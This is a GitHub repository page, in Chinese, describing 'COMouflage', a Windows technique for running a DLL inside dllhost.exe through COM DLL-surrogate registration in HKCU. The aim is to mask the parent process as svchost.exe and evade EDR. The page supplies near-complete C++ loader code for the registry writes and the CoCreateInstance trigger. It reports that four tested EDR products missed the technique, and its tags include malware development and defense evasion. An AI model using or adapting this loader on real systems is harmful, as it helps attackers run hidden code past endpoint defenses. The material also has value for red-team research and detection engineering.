zero2504/COMouflage

GitHub: zero2504/COMouflage

利用 Windows COM DLL 代理机制实现隐蔽的进程注入,通过伪造以 svchost.exe 为父进程的进程树来规避 EDR 检测。

Stars: 169 | Forks: 18

# COMouflage # 基于 COM 的 DLL 代理注入 ## 摘要 本文分析了一种复杂的注入技术,该技术利用组件对象模型 (COM) 和 DLL 代理进程执行隐蔽的代码。与主要关注持久化的传统 COM 劫持方法不同,该技术利用代理托管功能来实现进程注入,并具有多项操作优势,包括父进程伪装和缩减的检测 footprint。 ## 1. 简介 组件对象模型 (COM) 劫持作为一种持久化机制,在 MITRE ATT&CK 框架中已被广泛记录。本文将探讨基于 COM 的 DLL 代理注入的技术机制。 ## 2. 技术背景 ### 2.1 什么是 COM? 组件对象模型 (COM) 是一项 Microsoft 技术,它允许软件组件之间进行通信,而无需考虑创建它们所使用的编程语言。COM 对象由称为类标识符 (CLSIDs) 的全局唯一标识符 (GUIDs) 进行标识,并且可以通过多种机制实例化,包括: - **进程内服务器**(加载到调用进程中的 DLL) - **进程外服务器**(独立的可执行进程) - **代理进程**(系统提供的、用于基于 DLL 的 COM 对象的宿主) ### 2.2 理解 dllhost.exe 与 DLL 代理 `dllhost.exe` 是一个合法的 Windows 系统进程,充当实现为 DLL 的 COM 对象的代理宿主。这种机制被称为“DLL Surrogate”,它允许基于 DLL 的 COM 对象在独立的进程空间中运行,从而提供: - **进程隔离**:保护调用应用程序免受 DLL 崩溃的影响 - **安全边界**:启用不同的安全上下文 - **稳定性**:防止不稳定的 DLL 影响父进程 该代理通过注册表项进行配置,特别是 AppID 注册表键下的 `DllSurrogate` 值。 ## 3. 攻击技术分析 ### 3.1 针对 HKCU 劫持的注册表操作 该技术通过在 `HKEY_CURRENT_USER` 而不是 `HKEY_LOCAL_MACHINE` 中创建特定的注册表项来运作,这提供了以下几个优势: 1. **所需权限降低**:无需管理员权限 2. **针对特定用户**:仅影响当前用户上下文 3. **隐蔽性**:与 HKLM 的修改相比,被监控的可能性较小 #### 创建的注册表结构: ``` HKCU\Software\Classes\AppID\{CLSID} ├── (Default) = "MyStealthObject" └── DllSurrogate = "" HKCU\Software\Classes\CLSID\{CLSID} ├── (Default) = "MyStealthObject" ├── AppID = "{CLSID}" └── InprocServer32\ ├── (Default) = "C:\Path\To\Malicious.dll" └── ThreadingModel = "Apartment" ``` ### 3.2 进程树伪装 当恶意的 COM 对象使用 `CLSCTX_LOCAL_SERVER` 实例化时,Windows 会自动启动 `dllhost.exe` 作为代理进程。这创建了一个具有欺骗性的进程树: ``` svchost.exe (COM+ System Application) └── dllhost.exe /Processid:{CLSID} └── [Malicious DLL loaded in-process] ``` **主要优势:** - 父进程显示为 `svchost.exe`,这是一个高度受信任的系统进程 - 发起攻击的恶意进程并不是注入目标的直接父进程 - 标准的父子进程监控可能会错过真实的攻击链 ## 4. 详细代码分析 ### 4.1 CLSID 定义与常量 ``` static const wchar_t* CLSID_STR = L"{F00DBABA-2504-2025-2016-666699996666}"; ``` 该技术以一个自定义的 CLSID(类标识符)开始,它是一个唯一标识 COM 对象的 128 位 GUID。这个特定的 CLSID 经过精心构造,既显得独特,又避免了与合法系统组件发生冲突。其格式遵循标准的 GUID 结构:`{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}`。 ### 4.2 注册表操作函数 ``` bool SetRegStr(HKEY root, const std::wstring& key, const std::wstring& name, const std::wstring& val) { HKEY h; if (RegCreateKeyExW(root, key.c_str(), 0, nullptr, REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &h, nullptr) != ERROR_SUCCESS) return false; if (RegSetValueExW(h, name.empty() ? nullptr : name.c_str(), 0, REG_SZ, (const BYTE*)val.c_str(), DWORD((val.size() + 1) * sizeof(wchar_t))) != ERROR_SUCCESS) { RegCloseKey(h); return false; } RegCloseKey(h); return true; } ``` **技术分解:** 1. **`RegCreateKeyExW`**:使用 `KEY_WRITE` 权限创建或打开指定的注册表键 2. **错误处理**:每个注册表操作都包含适当的错误检查 3. **`REG_OPTION_NON_VOLATILE`**:确保注册表键在重启后依然保留 -> 可以通过 **`REG_OPTION_VOLATILE`** 进行更改(存储在内存中,在相应的注册表配置单元卸载时不会保留) ### 4.3 AppID 注册表配置 ``` std::wstring appidKey = LR"(Software\Classes\AppID\)" + std::wstring(CLSID_STR); if (!SetRegStr(HKEY_CURRENT_USER, appidKey, L"", L"MyStealthObject") || !SetRegStr(HKEY_CURRENT_USER, appidKey, L"DllSurrogate", L"")) ``` **关键分析:** - **AppID 键结构**:`HKCU\Software\Classes\AppID\{CLSID}` - **默认值**:“MyStealthObject” 作为描述性名称 - **`DllSurrogate` = “”**:空字符串至关重要 - 它指示 Windows 使用默认的 `dllhost.exe` 作为代理 - **HKCU 与 HKLM 的对比**:用户配置单元无需提权,减少了检测面 ### 4.4 CLSID 注册表配置 ``` std::wstring clsidKey = LR"(Software\Classes\CLSID\)" + std::wstring(CLSID_STR); std::wstring inprocKey = clsidKey + LR"(\InprocServer32)"; if (!SetRegStr(HKEY_CURRENT_USER, clsidKey, L"", L"MyStealthObject") || !SetRegStr(HKEY_CURRENT_USER, clsidKey, L"AppID", CLSID_STR) || !SetRegStr(HKEY_CURRENT_USER, inprocKey, L"", L"C:\\Users\\sample.dll") || !SetRegStr(HKEY_CURRENT_USER, inprocKey, L"ThreadingModel", L"Apartment")) ``` **注册表结构说明:** 1. **CLSID 根目录**:`HKCU\Software\Classes\CLSID\{CLSID}` - 将对象与其 AppID 相关联 - 确立对象身份 1. **InprocServer32 子键**:对 DLL 规范至关重要 - **默认值**:指向恶意 DLL 路径 - **ThreadingModel**:“Apartment” 确保了正确的 COM 线程行为 - **路径选择**:以用户可写入的位置为目标,以避免提权操作 ### 4.5 COM 初始化与对象创建 ``` HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED); if (FAILED(hr)) { std::wcerr << L"[!] CoInitializeEx: 0x" << std::hex << hr << L"\n"; return 1; } CLSID clsid; hr = CLSIDFromString(const_cast(CLSID_STR), &clsid); if (FAILED(hr)) { std::wcerr << L"[!] Invalid CLSID\n"; return 1; } ``` **技术细节:** - **`CoInitializeEx`**:为当前线程初始化 COM 库 - **`COINIT_APARTMENTTHREADED`**:单线程单元模型 - **`CLSIDFromString`**:将字符串表示形式转换为二进制的 CLSID 结构 - **错误处理**:HRESULT 检查遵循 COM 最佳实践 ### 4.6 关键注入触发器 ``` IUnknown* p; hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, // Key parameter! IID_IUnknown, (void**)&p); ``` **`CLSCTX_LOCAL_SERVER` 的重要性:** - **进程边界**:强制进行进程外实例化 - **代理触发器**:Windows 自动启动 `dllhost.exe` - **父进程伪装**:创建 `svchost.exe` → `dllhost.exe` 链 ### 4.7 进程流分析 **执行序列:** 1. 在 HKCU 中创建注册表项 2. COM 系统初始化 3. 带有 `CLSCTX_LOCAL_SERVER` 参数调用 `CoCreateInstance` 4. Windows COM 服务控制管理器 (SCM) 处理请求 5. SCM 检测到 `DllSurrogate` 值并启动 `dllhost.exe` 6. `dllhost.exe` 从 `InprocServer32` 加载指定的 DLL 7. 恶意代码在代理进程上下文中执行 **结果:** 恶意 DLL 在 `dllhost.exe` 中运行,并且以 `svchost.exe` 作为表面上的父进程,从而掩盖了真实的攻击向量。 ## 5. COMouflage 与 EDR 在此评估中,测试了四种领先的端点检测与响应 (EDR) 解决方案,且未公开供应商身份。目的是评估这些解决方案对基于 COMouflage 的代理执行有何反应。 在测试期间,一种解决方案记录了 `dllhost.exe` 的活动,但未能将其归类为可疑行为,因此没有发出警报。其他解决方案同样未能检测到这种代理执行技术,使得该进程得以运行而未产生任何形式的警告或干预。 这些观察结果突显了多种行业标准平台中存在的重大检测盲区,并强调了现代 EDR 技术需要改进行为分析能力。 ## 6. 结论 基于 COM 的 DLL 代理注入代表了传统 COM 劫持技术的演进,通过进程树伪装为攻击者提供了增强的隐蔽能力。该技术依赖于合法的 Windows 功能,使得检测具有挑战性,但如果具备适当的监控和取证意识,这并非不可能。 这项技术突显了理解合法 Windows 机制的重要性,因为这些机制可能会被滥用于恶意目的。 ## 7. 参考 [1] https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal [2] https://learn.microsoft.com/de-de/windows/win32/com/dllsurrogate [3] https://attack.mitre.org/techniques/T1546/015/ [4] https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance [5] https://learn.microsoft.com/en-us/windows/win32/cossdk/com--threading-models
标签:API接口, APT攻击, COM安全, Conpot, dllhost.exe, DLL Surrogate, DLL注入, DNS 解析, Linux, SSH蜜罐, Windows安全, 中高交互蜜罐, 免杀技术, 嗅探欺骗, 恶意软件开发, 攻击技术, 数据展示, 暴力破解检测, 权限维持, 注册表劫持, 流量审计, 父进程欺骗, 私有化部署, 红队, 组件对象模型, 进程注入, 防御规避